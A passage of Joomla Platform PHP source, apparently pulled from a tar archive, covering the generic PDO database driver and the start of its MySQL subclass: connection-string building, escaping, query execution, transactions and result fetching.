$startPos = $j;
$j = $startPos + 1;
if ($j >= $n)
{
break;
}
// Quote comes first, find end of quote
while (true)
{
$k = strpos($query, $quoteChar, $j);
$escaped = false;
if ($k === false)
{
break;
}
$l = $k - 1;
while ($l >= 0 && $query[$l] == '\\')
{
$l--;
$escaped = !$escaped;
}
if ($escaped)
{
$j = $k + 1;
continue;
}
break;
}
if ($k === false)
{
// Error in the query - no end quote; ignore it
break;
}
$literal .= substr($query, $startPos, $k - $startPos + 1);
$startPos = $k + 1;
}
if ($startPos < $n)
{
$literal .= substr($query, $startPos, $n - $startPos);
}
return $literal;
}
/**
* Method to commit a transaction.
*
* @param boolean $toSavepoint If true, commit to the last savepoint.
*
* @return void
*
* @since 3.1.4
* @throws RuntimeException
*/
public function transactionCommit($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
parent::transactionCommit($toSavepoint);
}
else
{
$this->transactionDepth--;
}
}
/**
* Method to roll back a transaction.
*
* @param boolean $toSavepoint If true, rollback to the last
savepoint.
*
* @return void
*
* @since 3.1.4
* @throws RuntimeException
*/
public function transactionRollback($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
parent::transactionRollback($toSavepoint);
}
else
{
$savepoint = 'SP_' . ($this->transactionDepth - 1);
$this->setQuery('ROLLBACK TO SAVEPOINT ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth--;
}
}
}
/**
* Method to initialize a transaction.
*
* @param boolean $asSavepoint If true and a transaction is already
active, a savepoint will be created.
*
* @return void
*
* @since 3.1.4
* @throws RuntimeException
*/
public function transactionStart($asSavepoint = false)
{
$this->connect();
if (!$asSavepoint || !$this->transactionDepth)
{
return parent::transactionStart($asSavepoint);
}
$savepoint = 'SP_' . $this->transactionDepth;
$this->setQuery('SAVEPOINT ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth++;
}
}
/**
* Get the query strings to alter the character set and collation of a
table.
*
* @param string $tableName The name of the table
*
* @return string[] The queries required to alter the table's
character set and collation
*
* @since CMS 3.5.0
*/
public function getAlterTableCharacterSet($tableName)
{
return array();
}
/**
* Return the query string to create new Database.
* Each database driver, other than MySQL, need to override this member to
return correct string.
*
* @param stdClass $options Object used to pass user and database name
to database driver.
* This object must have "db_name" and
"db_user" set.
* @param boolean $utf True if the database supports the UTF-8
character set.
*
* @return string The query that creates database
*
* @since 3.0.1
*/
protected function getCreateDatabaseQuery($options, $utf)
{
return 'CREATE DATABASE ' .
$this->quoteName($options->db_name);
}
}
database/driver/pdo.php000064400000063740151171674070011121
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Joomla Platform PDO Database Driver Class
*
* @link https://www.php.net/pdo
* @since 3.0.0
*/
abstract class JDatabaseDriverPdo extends JDatabaseDriver
{
/**
* The name of the database driver.
*
* @var string
* @since 3.0.0
*/
public $name = 'pdo';
/**
* @var PDO The database connection resource.
* @since 3.0.0
*/
protected $connection;
/**
* The character(s) used to quote SQL statement names such as table names
or field names,
* etc. The child classes should define this as necessary. If a single
character string the
* same character is used for both sides of the quoted name, else the
first character will be
* used for the opening quote and the second for the closing quote.
*
* @var string
* @since 3.0.0
*/
protected $nameQuote = "'";
/**
* The null or zero representation of a timestamp for the database driver.
This should be
* defined in child classes to hold the appropriate value for the engine.
*
* @var string
* @since 3.0.0
*/
protected $nullDate = '0000-00-00 00:00:00';
/**
* @var resource The prepared statement.
* @since 3.0.0
*/
protected $prepared;
/**
* Contains the current query execution status
*
* @var array
* @since 3.0.0
*/
protected $executed = false;
/**
* Constructor.
*
* @param array $options List of options used to configure the
connection
*
* @since 3.0.0
*/
public function __construct($options)
{
// Get some basic values from the options.
$options['driver'] = (isset($options['driver'])) ?
$options['driver'] : 'odbc';
$options['dsn'] = (isset($options['dsn'])) ?
$options['dsn'] : '';
$options['host'] = (isset($options['host'])) ?
$options['host'] : 'localhost';
$options['database'] = (isset($options['database']))
? $options['database'] : '';
$options['user'] = (isset($options['user'])) ?
$options['user'] : '';
$options['password'] = (isset($options['password']))
? $options['password'] : '';
$options['driverOptions'] =
(isset($options['driverOptions'])) ?
$options['driverOptions'] : array();
$hostParts = explode(':', $options['host']);
if (!empty($hostParts[1]))
{
$options['host'] = $hostParts[0];
$options['port'] = $hostParts[1];
}
// Finalize initialisation
parent::__construct($options);
}
/**
* Connects to the database if needed.
*
* @return void Returns void if the database connected successfully.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function connect()
{
if ($this->connection)
{
return;
}
// Make sure the PDO extension for PHP is installed and enabled.
if (!self::isSupported())
{
throw new JDatabaseExceptionUnsupported('PDO Extension is not
available.', 1);
}
$replace = array();
$with = array();
// Find the correct PDO DSN Format to use:
switch ($this->options['driver'])
{
case 'cubrid':
$this->options['port'] =
(isset($this->options['port'])) ?
$this->options['port'] : 33000;
$format = 'cubrid:host=#HOST#;port=#PORT#;dbname=#DBNAME#';
$replace = array('#HOST#', '#PORT#',
'#DBNAME#');
$with = array($this->options['host'],
$this->options['port'],
$this->options['database']);
break;
case 'dblib':
$this->options['port'] =
(isset($this->options['port'])) ?
$this->options['port'] : 1433;
$format = 'dblib:host=#HOST#;port=#PORT#;dbname=#DBNAME#';
$replace = array('#HOST#', '#PORT#',
'#DBNAME#');
$with = array($this->options['host'],
$this->options['port'],
$this->options['database']);
break;
case 'firebird':
$this->options['port'] =
(isset($this->options['port'])) ?
$this->options['port'] : 3050;
$format = 'firebird:dbname=#DBNAME#';
$replace = array('#DBNAME#');
$with = array($this->options['database']);
break;
case 'ibm':
$this->options['port'] =
(isset($this->options['port'])) ?
$this->options['port'] : 56789;
if (!empty($this->options['dsn']))
{
$format = 'ibm:DSN=#DSN#';
$replace = array('#DSN#');
$with = array($this->options['dsn']);
}
else
{
$format =
'ibm:hostname=#HOST#;port=#PORT#;database=#DBNAME#';
$replace = array('#HOST#', '#PORT#',
'#DBNAME#');
$with = array($this->options['host'],
$this->options['port'],
$this->options['database']);
}
break;
case 'informix':
$this->options['port'] =
(isset($this->options['port'])) ?
$this->options['port'] : 1526;
$this->options['protocol'] =
(isset($this->options['protocol'])) ?
$this->options['protocol'] : 'onsoctcp';
if (!empty($this->options['dsn']))
{
$format = 'informix:DSN=#DSN#';
$replace = array('#DSN#');
$with = array($this->options['dsn']);
}
else
{
$format =
'informix:host=#HOST#;service=#PORT#;database=#DBNAME#;server=#SERVER#;protocol=#PROTOCOL#';
$replace = array('#HOST#', '#PORT#',
'#DBNAME#', '#SERVER#', '#PROTOCOL#');
$with = array($this->options['host'],
$this->options['port'],
$this->options['database'],
$this->options['server'],
$this->options['protocol']);
}
break;
case 'mssql':
$this->options['port'] =
(isset($this->options['port'])) ?
$this->options['port'] : 1433;
$format = 'mssql:host=#HOST#;port=#PORT#;dbname=#DBNAME#';
$replace = array('#HOST#', '#PORT#',
'#DBNAME#');
$with = array($this->options['host'],
$this->options['port'],
$this->options['database']);
break;
// The pdomysql case is a special case within the CMS environment
case 'pdomysql':
case 'mysql':
$this->options['port'] =
(isset($this->options['port'])) ?
$this->options['port'] : 3306;
$format =
'mysql:host=#HOST#;port=#PORT#;dbname=#DBNAME#;charset=#CHARSET#';
$replace = array('#HOST#', '#PORT#',
'#DBNAME#', '#CHARSET#');
$with = array($this->options['host'],
$this->options['port'],
$this->options['database'],
$this->options['charset']);
break;
case 'oci':
$this->options['port'] =
(isset($this->options['port'])) ?
$this->options['port'] : 1521;
$this->options['charset'] =
(isset($this->options['charset'])) ?
$this->options['charset'] : 'AL32UTF8';
if (!empty($this->options['dsn']))
{
$format = 'oci:dbname=#DSN#';
$replace = array('#DSN#');
$with = array($this->options['dsn']);
}
else
{
$format = 'oci:dbname=//#HOST#:#PORT#/#DBNAME#';
$replace = array('#HOST#', '#PORT#',
'#DBNAME#');
$with = array($this->options['host'],
$this->options['port'],
$this->options['database']);
}
$format .= ';charset=' .
$this->options['charset'];
break;
case 'odbc':
$format = 'odbc:DSN=#DSN#;UID:#USER#;PWD=#PASSWORD#';
$replace = array('#DSN#', '#USER#',
'#PASSWORD#');
$with = array($this->options['dsn'],
$this->options['user'],
$this->options['password']);
break;
case 'pgsql':
$this->options['port'] =
(isset($this->options['port'])) ?
$this->options['port'] : 5432;
$format = 'pgsql:host=#HOST#;port=#PORT#;dbname=#DBNAME#';
$replace = array('#HOST#', '#PORT#',
'#DBNAME#');
$with = array($this->options['host'],
$this->options['port'],
$this->options['database']);
break;
case 'sqlite':
if (isset($this->options['version']) &&
$this->options['version'] == 2)
{
$format = 'sqlite2:#DBNAME#';
}
else
{
$format = 'sqlite:#DBNAME#';
}
$replace = array('#DBNAME#');
$with = array($this->options['database']);
break;
case 'sybase':
$this->options['port'] =
(isset($this->options['port'])) ?
$this->options['port'] : 1433;
$format = 'mssql:host=#HOST#;port=#PORT#;dbname=#DBNAME#';
$replace = array('#HOST#', '#PORT#',
'#DBNAME#');
$with = array($this->options['host'],
$this->options['port'],
$this->options['database']);
break;
}
// Create the connection string:
$connectionString = str_replace($replace, $with, $format);
try
{
$this->connection = new PDO(
$connectionString,
$this->options['user'],
$this->options['password'],
$this->options['driverOptions']
);
}
catch (PDOException $e)
{
throw new JDatabaseExceptionConnecting('Could not connect to PDO:
' . $e->getMessage(), 2, $e);
}
}
/**
* Disconnects the database.
*
* @return void
*
* @since 3.0.0
*/
public function disconnect()
{
foreach ($this->disconnectHandlers as $h)
{
call_user_func_array($h, array( &$this));
}
$this->freeResult();
$this->connection = null;
}
/**
* Method to escape a string for usage in an SQL statement.
*
* Oracle escaping reference:
*
http://www.orafaq.com/wiki/SQL_FAQ#How_does_one_escape_special_characters_when_writing_SQL_queries.3F
*
* SQLite escaping notes:
* http://www.sqlite.org/faq.html#q14
*
* Method body is as implemented by the Zend Framework
*
* Note: Using query objects with bound variables is
* preferable to the below.
*
* @param string $text The string to be escaped.
* @param boolean $extra Unused optional parameter to provide extra
escaping.
*
* @return string The escaped string.
*
* @since 3.0.0
*/
public function escape($text, $extra = false)
{
if (is_int($text))
{
return $text;
}
if (is_float($text))
{
// Force the dot as a decimal point.
return str_replace(',', '.', $text);
}
$text = str_replace("'", "''", $text);
return addcslashes($text, "\000\n\r\\\032");
}
/**
* Execute the SQL statement.
*
* @return mixed A database cursor resource on success, boolean false on
failure.
*
* @since 3.0.0
* @throws RuntimeException
* @throws Exception
*/
public function execute()
{
$this->connect();
// Take a local copy so that we don't modify the original query and
cause issues later
$query = $this->replacePrefix((string) $this->sql);
if (!is_object($this->connection))
{
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database');
throw new JDatabaseExceptionExecuting($query, $this->errorMsg,
$this->errorNum);
}
// Increment the query counter.
$this->count++;
// Reset the error values.
$this->errorNum = 0;
$this->errorMsg = '';
// If debugging is enabled then let's log the query.
if ($this->debug)
{
// Add the query to the object queue.
$this->log[] = $query;
JLog::add($query, JLog::DEBUG, 'databasequery');
$this->timings[] = microtime(true);
}
// Execute the query.
$this->executed = false;
if ($this->prepared instanceof PDOStatement)
{
// Bind the variables:
if ($this->sql instanceof JDatabaseQueryPreparable)
{
$bounded = $this->sql->getBounded();
foreach ($bounded as $key => $obj)
{
$this->prepared->bindParam($key, $obj->value,
$obj->dataType, $obj->length, $obj->driverOptions);
}
}
$this->executed = $this->prepared->execute();
}
if ($this->debug)
{
$this->timings[] = microtime(true);
if (defined('DEBUG_BACKTRACE_IGNORE_ARGS'))
{
$this->callStacks[] = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS);
}
else
{
$this->callStacks[] = debug_backtrace();
}
}
// If an error occurred handle it.
if (!$this->executed)
{
// Get the error number and message before we execute any more queries.
$errorNum = $this->getErrorNumber();
$errorMsg = $this->getErrorMessage();
// Check if the server was disconnected.
if (!$this->connected())
{
try
{
// Attempt to reconnect.
$this->connection = null;
$this->connect();
}
// If connect fails, ignore that exception and throw the normal
exception.
catch (RuntimeException $e)
{
// Get the error number and message.
$this->errorNum = $this->getErrorNumber();
$this->errorMsg = $this->getErrorMessage();
// Throw the normal query exception.
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database-error');
throw new JDatabaseExceptionExecuting($query, $this->errorMsg,
$this->errorNum, $e);
}
// Since we were able to reconnect, run the query again.
return $this->execute();
}
// The server was not disconnected.
else
{
// Get the error number and message from before we tried to reconnect.
$this->errorNum = $errorNum;
$this->errorMsg = $errorMsg;
// Throw the normal query exception.
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database-error');
throw new JDatabaseExceptionExecuting($query, $this->errorMsg,
$this->errorNum);
}
}
return $this->prepared;
}
/**
* Retrieve a PDO database connection attribute
*
* Usage: $db->getOption(PDO::ATTR_CASE);
*
* @param mixed $key One of the PDO::ATTR_* Constants
*
* @return mixed
*
* @link https://www.php.net/manual/en/pdo.getattribute.php
* @since 3.0.0
*/
public function getOption($key)
{
$this->connect();
return $this->connection->getAttribute($key);
}
/**
* Get a query to run and verify the database is operational.
*
* @return string The query to check the health of the DB.
*
* @since 3.0.1
*/
public function getConnectedQuery()
{
return 'SELECT 1';
}
/**
* Get the version of the database connector.
*
* @return string The database connector version.
*
* @since 3.9.0
*/
public function getVersion()
{
$this->connect();
return $this->getOption(PDO::ATTR_SERVER_VERSION);
}
/**
* Sets an attribute on the PDO database handle.
*
* Usage: $db->setOption(PDO::ATTR_CASE, PDO::CASE_UPPER);
*
* @param integer $key One of the PDO::ATTR_* Constants
* @param mixed $value One of the associated PDO Constants related
to the particular attribute key.
*
* @return boolean
*
* @link https://www.php.net/manual/en/pdo.setattribute.php
* @since 3.0.0
*/
public function setOption($key, $value)
{
$this->connect();
return $this->connection->setAttribute($key, $value);
}
/**
* Test to see if the PDO extension is available.
* Override as needed to check for specific PDO Drivers.
*
* @return boolean True on success, false otherwise.
*
* @since 3.0.0
*/
public static function isSupported()
{
return defined('PDO::ATTR_DRIVER_NAME');
}
/**
* Determines if the connection to the server is active.
*
* @return boolean True if connected to the database engine.
*
* @since 3.0.0
*/
public function connected()
{
// Flag to prevent recursion into this function.
static $checkingConnected = false;
if ($checkingConnected)
{
// Reset this flag and throw an exception.
$checkingConnected = true;
die('Recursion trying to check if connected.');
}
// Backup the query state.
$query = $this->sql;
$limit = $this->limit;
$offset = $this->offset;
$prepared = $this->prepared;
try
{
// Set the checking connection flag.
$checkingConnected = true;
// Run a simple query to check the connection.
$this->setQuery($this->getConnectedQuery());
$status = (bool) $this->loadResult();
}
// If we catch an exception here, we must not be connected.
catch (Exception $e)
{
$status = false;
}
// Restore the query state.
$this->sql = $query;
$this->limit = $limit;
$this->offset = $offset;
$this->prepared = $prepared;
$checkingConnected = false;
return $status;
}
/**
* Get the number of affected rows for the previous executed SQL
statement.
* Only applicable for DELETE, INSERT, or UPDATE statements.
*
* @return integer The number of affected rows.
*
* @since 3.0.0
*/
public function getAffectedRows()
{
$this->connect();
if ($this->prepared instanceof PDOStatement)
{
return $this->prepared->rowCount();
}
else
{
return 0;
}
}
/**
* Get the number of returned rows for the previous executed SQL
statement.
* Only applicable for DELETE, INSERT, or UPDATE statements.
*
* @param resource $cursor An optional database cursor resource to
extract the row count from.
*
* @return integer The number of returned rows.
*
* @since 3.0.0
*/
public function getNumRows($cursor = null)
{
$this->connect();
if ($cursor instanceof PDOStatement)
{
return $cursor->rowCount();
}
elseif ($this->prepared instanceof PDOStatement)
{
return $this->prepared->rowCount();
}
else
{
return 0;
}
}
/**
* Method to get the auto-incremented value from the last INSERT
statement.
*
* @return string The value of the auto-increment field from the last
inserted row.
*
* @since 3.0.0
*/
public function insertid()
{
$this->connect();
// Error suppress this to prevent PDO warning us that the driver
doesn't support this operation.
return @$this->connection->lastInsertId();
}
/**
* Select a database for use.
*
* @param string $database The name of the database to select for use.
*
* @return boolean True if the database was successfully selected.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function select($database)
{
$this->connect();
return true;
}
/**
* Sets the SQL statement string for later execution.
*
* @param mixed $query The SQL statement to set either as a
JDatabaseQuery object or a string.
* @param integer $offset The affected row offset to set.
* @param integer $limit The maximum affected rows to set.
* @param array $driverOptions The optional PDO driver options.
*
* @return JDatabaseDriver This object to support method chaining.
*
* @since 3.0.0
*/
public function setQuery($query, $offset = null, $limit = null,
$driverOptions = array())
{
$this->connect();
$this->freeResult();
if (is_string($query))
{
// Allows taking advantage of bound variables in a direct query:
$query = $this->getQuery(true)->setQuery($query);
}
if ($query instanceof JDatabaseQueryLimitable &&
!is_null($offset) && !is_null($limit))
{
$query = $query->processLimit($query, $limit, $offset);
}
// Create a stringified version of the query (with prefixes replaced):
$sql = $this->replacePrefix((string) $query);
// Use the stringified version in the prepare call:
$this->prepared = $this->connection->prepare($sql,
$driverOptions);
// Store reference to the original JDatabaseQuery instance within the
class.
// This is important since binding variables depends on it within
execute():
parent::setQuery($query, $offset, $limit);
return $this;
}
/**
* Set the connection to use UTF-8 character encoding.
*
* @return boolean True on success.
*
* @since 3.0.0
*/
public function setUtf()
{
return false;
}
/**
* Method to commit a transaction.
*
* @param boolean $toSavepoint If true, commit to the last savepoint.
*
* @return void
*
* @since 3.0.0
* @throws RuntimeException
*/
public function transactionCommit($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth == 1)
{
$this->connection->commit();
}
$this->transactionDepth--;
}
/**
* Method to roll back a transaction.
*
* @param boolean $toSavepoint If true, rollback to the last
savepoint.
*
* @return void
*
* @since 3.0.0
* @throws RuntimeException
*/
public function transactionRollback($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth == 1)
{
$this->connection->rollBack();
}
$this->transactionDepth--;
}
/**
* Method to initialize a transaction.
*
* @param boolean $asSavepoint If true and a transaction is already
active, a savepoint will be created.
*
* @return void
*
* @since 3.0.0
* @throws RuntimeException
*/
public function transactionStart($asSavepoint = false)
{
$this->connect();
if (!$asSavepoint || !$this->transactionDepth)
{
$this->connection->beginTransaction();
}
$this->transactionDepth++;
}
/**
* Method to fetch a row from the result set cursor as an array.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchArray($cursor = null)
{
if (!empty($cursor) && $cursor instanceof PDOStatement)
{
return $cursor->fetch(PDO::FETCH_NUM);
}
if ($this->prepared instanceof PDOStatement)
{
return $this->prepared->fetch(PDO::FETCH_NUM);
}
}
/**
* Method to fetch a row from the result set cursor as an associative
array.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchAssoc($cursor = null)
{
if (!empty($cursor) && $cursor instanceof PDOStatement)
{
return $cursor->fetch(PDO::FETCH_ASSOC);
}
if ($this->prepared instanceof PDOStatement)
{
return $this->prepared->fetch(PDO::FETCH_ASSOC);
}
}
/**
* Method to fetch a row from the result set cursor as an object.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
* @param string $class Unused, only necessary so method signature
will be the same as parent.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchObject($cursor = null, $class =
'stdClass')
{
if (!empty($cursor) && $cursor instanceof PDOStatement)
{
return $cursor->fetchObject($class);
}
if ($this->prepared instanceof PDOStatement)
{
return $this->prepared->fetchObject($class);
}
}
/**
* Method to free up the memory used for the result set.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return void
*
* @since 3.0.0
*/
protected function freeResult($cursor = null)
{
$this->executed = false;
if ($cursor instanceof PDOStatement)
{
$cursor->closeCursor();
$cursor = null;
}
if ($this->prepared instanceof PDOStatement)
{
$this->prepared->closeCursor();
$this->prepared = null;
}
}
/**
* Method to get the next row in the result set from the database query as
an object.
*
* @param string $class The class name to use for the returned row
object.
*
* @return mixed The result of the query as an array, false if there
are no more rows.
*
* @since 3.0.0
* @throws RuntimeException
* @deprecated 4.0 (CMS) Use getIterator() instead
*/
public function loadNextObject($class = 'stdClass')
{
JLog::add(__METHOD__ . '() is deprecated. Use
JDatabaseDriver::getIterator() instead.', JLog::WARNING,
'deprecated');
$this->connect();
// Execute the query and get the result set cursor.
if (!$this->executed)
{
if (!($this->execute()))
{
return $this->errorNum ? null : false;
}
}
// Get the next row from the result set as an object of type $class.
if ($row = $this->fetchObject(null, $class))
{
return $row;
}
// Free up system resources and return.
$this->freeResult();
return false;
}
/**
* Method to get the next row in the result set from the database query as
an array.
*
* @return mixed The result of the query as an array, false if there are
no more rows.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function loadNextAssoc()
{
$this->connect();
// Execute the query and get the result set cursor.
if (!$this->executed)
{
if (!($this->execute()))
{
return $this->errorNum ? null : false;
}
}
// Get the next row from the result set as an object of type $class.
if ($row = $this->fetchAssoc())
{
return $row;
}
// Free up system resources and return.
$this->freeResult();
return false;
}
/**
* Method to get the next row in the result set from the database query as
an array.
*
* @return mixed The result of the query as an array, false if there are
no more rows.
*
* @since 3.0.0
* @throws RuntimeException
* @deprecated 4.0 (CMS) Use getIterator() instead
*/
public function loadNextRow()
{
JLog::add(__METHOD__ . '() is deprecated. Use
JDatabaseDriver::getIterator() instead.', JLog::WARNING,
'deprecated');
$this->connect();
// Execute the query and get the result set cursor.
if (!$this->executed)
{
if (!($this->execute()))
{
return $this->errorNum ? null : false;
}
}
// Get the next row from the result set as an object of type $class.
if ($row = $this->fetchArray())
{
return $row;
}
// Free up system resources and return.
$this->freeResult();
return false;
}
/**
* PDO does not support serialize
*
* @return array
*
* @since 3.1.4
*/
public function __sleep()
{
$serializedProperties = array();
$reflect = new ReflectionClass($this);
// Get properties of the current class
$properties = $reflect->getProperties();
foreach ($properties as $property)
{
// Do not serialize properties that are PDO
if ($property->isStatic() == false &&
!($this->{$property->name} instanceof PDO))
{
$serializedProperties[] = $property->name;
}
}
return $serializedProperties;
}
/**
* Wake up after serialization
*
* @return array
*
* @since 3.1.4
*/
public function __wakeup()
{
// Get connection back
$this->__construct($this->options);
}
/**
* Return the actual SQL Error number
*
* @return integer The SQL Error number
*
* @since 3.4.6
*/
protected function getErrorNumber()
{
return (int) $this->connection->errorCode();
}
/**
* Return the actual SQL Error message
*
* @return string The SQL Error message
*
* @since 3.4.6
*/
protected function getErrorMessage()
{
// The SQL Error Information
$errorInfo = implode(', ',
$this->connection->errorInfo());
// Replace the Databaseprefix with `#__` if we are not in Debug
if (!$this->debug)
{
$errorInfo = str_replace($this->tablePrefix, '#__',
$errorInfo);
}
return $errorInfo;
}
}
database/driver/pdomysql.php000064400000032521151171674070012200
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MySQL database driver supporting PDO based connections
*
* @link https://www.php.net/manual/en/ref.pdo-mysql.php
* @since 3.4
*/
class JDatabaseDriverPdomysql extends JDatabaseDriverPdo
{
/**
* The name of the database driver.
*
* @var string
* @since 3.4
*/
public $name = 'pdomysql';
/**
* The type of the database server family supported by this driver.
*
* @var string
* @since CMS 3.5.0
*/
public $serverType = 'mysql';
/**
* The character(s) used to quote SQL statement names such as table names
or field names,
* etc. The child classes should define this as necessary. If a single
character string the
* same character is used for both sides of the quoted name, else the
first character will be
* used for the opening quote and the second for the closing quote.
*
* @var string
* @since 3.4
*/
protected $nameQuote = '`';
/**
* The null or zero representation of a timestamp for the database driver.
This should be
* defined in child classes to hold the appropriate value for the engine.
*
* @var string
* @since 3.4
*/
protected $nullDate = '0000-00-00 00:00:00';
/**
* The minimum supported database version.
*
* @var string
* @since 3.4
*/
protected static $dbMinimum = '5.0.4';
/**
* Constructor.
*
* @param array $options Array of database options with keys: host,
user, password, database, select.
*
* @since 3.4
*/
public function __construct($options)
{
// Get some basic values from the options.
$options['driver'] = 'mysql';
if (!isset($options['charset']) ||
$options['charset'] == 'utf8')
{
$options['charset'] = 'utf8mb4';
}
/**
* Pre-populate the UTF-8 Multibyte compatibility flag. Unfortunately PDO
won't report the server version
* unless we're connected to it, and we cannot connect to it unless
we know if it supports utf8mb4, which requires
* us knowing the server version. Because of this chicken and egg issue,
we _assume_ it's supported and we'll just
* catch any problems at connection time.
*/
$this->utf8mb4 = ($options['charset'] ==
'utf8mb4');
// Finalize initialisation.
parent::__construct($options);
}
/**
* Connects to the database if needed.
*
* @return void Returns void if the database connected successfully.
*
* @since 3.4
* @throws RuntimeException
*/
public function connect()
{
if ($this->connection)
{
return;
}
try
{
// Try to connect to MySQL
parent::connect();
}
catch (\RuntimeException $e)
{
// If the connection failed, but not because of the wrong character set,
then bubble up the exception.
if (!$this->utf8mb4)
{
throw $e;
}
/*
* Otherwise, try connecting again without using
* utf8mb4 and see if maybe that was the problem. If the
* connection succeeds, then we will have learned that the
* client end of the connection does not support utf8mb4.
*/
$this->utf8mb4 = false;
$this->options['charset'] = 'utf8';
parent::connect();
}
if ($this->utf8mb4)
{
/*
* At this point we know the client supports utf8mb4. Now
* we must check if the server supports utf8mb4 as well.
*/
$serverVersion =
$this->connection->getAttribute(PDO::ATTR_SERVER_VERSION);
$this->utf8mb4 = version_compare($serverVersion, '5.5.3',
'>=');
if (!$this->utf8mb4)
{
// Reconnect with the utf8 character set.
parent::disconnect();
$this->options['charset'] = 'utf8';
parent::connect();
}
}
$this->connection->setAttribute(PDO::ATTR_ERRMODE,
PDO::ERRMODE_EXCEPTION);
$this->connection->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);
// Set sql_mode to non_strict mode
$this->connection->query("SET @@SESSION.sql_mode =
'';");
// Disable query cache and turn profiling ON in debug mode.
if ($this->debug)
{
$this->connection->query('SET query_cache_type = 0;');
if ($this->hasProfiling())
{
$this->connection->query('SET profiling_history_size = 100,
profiling = 1;');
}
}
}
/**
* Test to see if the MySQL connector is available.
*
* @return boolean True on success, false otherwise.
*
* @since 3.4
*/
public static function isSupported()
{
return class_exists('PDO') &&
in_array('mysql', PDO::getAvailableDrivers());
}
/**
* Drops a table from the database.
*
* @param string $tableName The name of the database table to drop.
* @param boolean $ifExists Optionally specify that the table must
exist before it is dropped.
*
* @return JDatabaseDriverPdomysql Returns this object to support
chaining.
*
* @since 3.4
* @throws RuntimeException
*/
public function dropTable($tableName, $ifExists = true)
{
$this->connect();
$query = $this->getQuery(true);
$query->setQuery('DROP TABLE ' . ($ifExists ? 'IF
EXISTS ' : '') . $this->quoteName($tableName));
$this->setQuery($query);
$this->execute();
return $this;
}
/**
* Select a database for use.
*
* @param string $database The name of the database to select for use.
*
* @return boolean True if the database was successfully selected.
*
* @since 3.4
* @throws RuntimeException
*/
public function select($database)
{
$this->connect();
$this->setQuery('USE ' . $this->quoteName($database));
$this->execute();
return $this;
}
/**
* Method to get the database collation in use by sampling a text field of
a table in the database.
*
* @return mixed The collation in use by the database (string) or
boolean false if not supported.
*
* @since 3.4
* @throws RuntimeException
*/
public function getCollation()
{
$this->connect();
// Attempt to get the database collation by accessing the server system
variable.
$this->setQuery('SHOW VARIABLES LIKE
"collation_database"');
$result = $this->loadObject();
if (property_exists($result, 'Value'))
{
return $result->Value;
}
else
{
return false;
}
}
/**
* Method to get the database connection collation, as reported by the
driver. If the connector doesn't support
* reporting this value please return an empty string.
*
* @return string
*/
public function getConnectionCollation()
{
$this->connect();
// Attempt to get the database collation by accessing the server system
variable.
$this->setQuery('SHOW VARIABLES LIKE
"collation_connection"');
$result = $this->loadObject();
if (property_exists($result, 'Value'))
{
return $result->Value;
}
else
{
return false;
}
}
/**
* Shows the table CREATE statement that creates the given tables.
*
* @param mixed $tables A table name or a list of table names.
*
* @return array A list of the create SQL for the tables.
*
* @since 3.4
* @throws RuntimeException
*/
public function getTableCreate($tables)
{
$this->connect();
// Initialise variables.
$result = array();
// Sanitize input to an array and iterate over the list.
settype($tables, 'array');
foreach ($tables as $table)
{
$this->setQuery('SHOW CREATE TABLE ' .
$this->quoteName($table));
$row = $this->loadRow();
// Populate the result array based on the create statements.
$result[$table] = $row[1];
}
return $result;
}
/**
* Retrieves field information about a given table.
*
* @param string $table The name of the database table.
* @param boolean $typeOnly True to only return field types.
*
* @return array An array of fields for the database table.
*
* @since 3.4
* @throws RuntimeException
*/
public function getTableColumns($table, $typeOnly = true)
{
$this->connect();
$result = array();
// Set the query to get the table fields statement.
$this->setQuery('SHOW FULL COLUMNS FROM ' .
$this->quoteName($table));
$fields = $this->loadObjectList();
// If we only want the type as the value add just that to the list.
if ($typeOnly)
{
foreach ($fields as $field)
{
$result[$field->Field] = preg_replace('/[(0-9)]/',
'', $field->Type);
}
}
// If we want the whole field data object add that to the list.
else
{
foreach ($fields as $field)
{
$result[$field->Field] = $field;
}
}
return $result;
}
/**
* Get the details list of keys for a table.
*
* @param string $table The name of the table.
*
* @return array An array of the column specification for the table.
*
* @since 3.4
* @throws RuntimeException
*/
public function getTableKeys($table)
{
$this->connect();
// Get the details columns information.
$this->setQuery('SHOW KEYS FROM ' .
$this->quoteName($table));
$keys = $this->loadObjectList();
return $keys;
}
/**
* Method to get an array of all tables in the database.
*
* @return array An array of all the tables in the database.
*
* @since 3.4
* @throws RuntimeException
*/
public function getTableList()
{
$this->connect();
// Set the query to get the tables statement.
$this->setQuery('SHOW TABLES');
